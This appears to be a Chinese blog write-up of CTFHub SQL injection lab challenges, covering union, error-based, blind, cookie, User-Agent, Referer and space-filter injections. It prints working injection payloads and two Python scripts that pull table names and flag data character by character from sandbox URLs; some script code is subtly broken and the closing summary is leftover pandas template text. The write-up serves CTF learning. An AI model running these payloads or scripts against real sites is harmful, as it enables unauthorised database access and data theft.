CTFUB-SQL注入

SQL整数型注入

在这里插入图片描述先查看他是否存在注入,存在注入的。
在这里插入图片描述猜字段数量
在这里插入图片描述发现猜到3的时候出错了,那么就只有两个字段
在这里插入图片描述现在让它报显示位(id必须是查不到的数据才行)
在这里插入图片描述现在分别开始查询数据库信息,表,列的信息
在这里插入图片描述在这里插入图片描述在这里插入图片描述之后发现了flag数据。-1 union select 1,group_concat(flag) from flag 第一个flag是列名,后面的flag是表名
在这里插入图片描述

SQL字符型注入

输入个1之后发现跟之前的有点不一样1的符号补全了。
在这里插入图片描述如果像之前一样 1 order by 3 发现不报错。是因为返回的代码左右引号把中间的代码作为字符串了并没有实现SQL注入。那么接下来引号在要执行的代码前面解决就好了。也就是 1’ order by 3 – ’
在这里插入图片描述其他的步骤都是一样的,就要注意引号的问题就行了,这里我就直接跳到最后一步了。也就是-1’ union select 1,group_concat(flag) from flag – ’
在这里插入图片描述

CTFHUB-报错注入

这个的注入跟之前的注入还有点不一样。要用到updatexml()函数。
updatexml()的作用:它具有查询功能 并且会在xpath处查询 你将语法构造错误 然后它就会将他查询的结果已报错的形式显示出来。
这里有mysql的一些常用语法和函数的作用 那么下面开始正式写这题
要是正常用语法写他只会告诉你查询的对不对并不会返回我们要的信息。
在这里插入图片描述直接用这个语句查表名:-1 union select updatexml(1,concat(0x7e,(select (group_concat(table_name) ) from information_schema.tables where table_schema=‘sqli’),0x7e),1)
在这里插入图片描述
再查列名和flag,分别语句:-1 union select updatexml(1,concat(0x7e,(select(group_concat(column_name)) from information_schema.columns where table_name=‘flag’),0x7e),1)和-1 union select updatexml(1,(select flag from flag),1)
在这里插入图片描述
在这里插入图片描述

布尔盲注入和时间注入

这里要用到脚本了。看的这个博主的脚本
布尔注入的脚本

import requests
import string

url = 'http://challenge-c2f3811b1351ff5a.sandbox.ctfhub.com:10080/?id='
mark = 'query_success'


def database_name():
    name = ''
    for i in range(1, 9):
        for j in string.ascii_letters:
            url_db = url + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (i, j)
            r = requests.get(url_db)
            if mark in r.text:
                name += j
                break
    print('database_name:', name)


database_name()

def table_name():
    list = []
    for i in range(0, 4):
        name = ''
        for j in range(1, 9):
            for k in string.ascii_letters:
                url_t = url + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (i, j, k)
                r = requests.get(url_t)
                if mark in r.text:
                    name += k
                    break
        list.append(name)
    print('table_name:', list)


table_name()

def columns_name():
    list = []
    for i in range(0, 3):
    	name = ''
        for j in range(1, 9):
            for k in string.ascii_letters:
                url_c = url + 'if(substr((select column_name from information_schema.columns where table_name="flag" and table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (i, j, k)
                r = requests.get(url_c)
                if mark in r.text:
                    name += k
                    break
        list.append(name)
    print('column_name:', list)

def data():
    name = ''
    for i in range(1, 50):
        for j in range(48, 126):
            url_d = url + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' % (i, j)
            r = requests.get(url_d)
            if mark in r.text:
                name += chr(j)
                break
    print('data:', name)


data()

时间注入的脚本

import requests
import string
import time

url = 'http://challenge-5ec155a6d22fe332.sandbox.ctfhub.com:10080/?id='


def database_name():
    name = ''
    for i in range(1, 9):
        for j in string.ascii_letters:
            url_db = url + 'if(substr(database(),%d,1)="%s",sleep(3),1)' % (i, j)
            time_b = time.time()
            r = requests.get(url_db)
            time_f = time.time()
            if time_f-time_b > 2:
                name += j
                break
    print('database_name:', name)


database_name()

def table_name():
    list = []
    for i in range(0, 2):
        name = ''
        for j in range(1, 9):
            for k in string.ascii_letters:
                url_t = url + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",sleep(3),1)' % (i, j, k)
                time_b = time.time()
                r = requests.get(url_t)
                time_f = time.time()
                if time_f - time_b > 2:
                    name += k
                    break
        list.append(name)
    print('table_name:', list)


table_name()

def columns_name():
    list = []
    for i in range(0, 1):
        name = ''
        for j in range(1, 9):
            for k in string.ascii_letters:
                url_c = url + 'if(substr((select column_name from information_schema.columns where table_name="flag" limit %d,1),%d,1)="%s",sleep(3),1)' % (i, j, k)
                time_b = time.time()
                r = requests.get(url_c)
                time_f = time.time()
                if time_f - time_b > 2:
                    name += k
                    break
        list.append(name)
    print('column_name:', list)


columns_name()

def data():
    name = ''
    for i in range(1, 50):
        for j in range(48, 126):
            url_d = url + 'if(ascii(substr((select flag from flag),%d,1))=%d,sleep(3),1)' % (i, j)
            r = requests.get(url_d)
            time_b = time.time()
            r = requests.get(url_d)
            time_f = time.time()
            if time_f-time_b > 2:
                name += chr(j)
                print(name)
                break
    print('data:', name)


data()

把这俩的URL改了就行了。

MYSQL结构

这题跟之前的方法一样不做赘述了。

COOKIE注入

在这个位置进行注入,注入的语法是一样的。
在这里插入图片描述在这里插入图片描述在这里插入图片描述

UA注入

User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。在User-Agent上写注入代码。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Refer注入

抓包发现没有referer,那就新建一个表头作为referer来注入代码。后面就是正常的注入过程.
referer是啥:HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

过滤空格

不让用空格,把空格换成/**/,其他不变正常注入代码。

前言

SQL注入大概了解我看着的这个视频SQL注入大概总结了一下SQL注入的方法。

总结

提示:这里对文章进行总结:
例如:以上就是今天要讲的内容,本文仅仅简单介绍了pandas的使用,而pandas提供了大量能使我们快速便捷地处理数据的函数和方法。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

熊是本熊

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值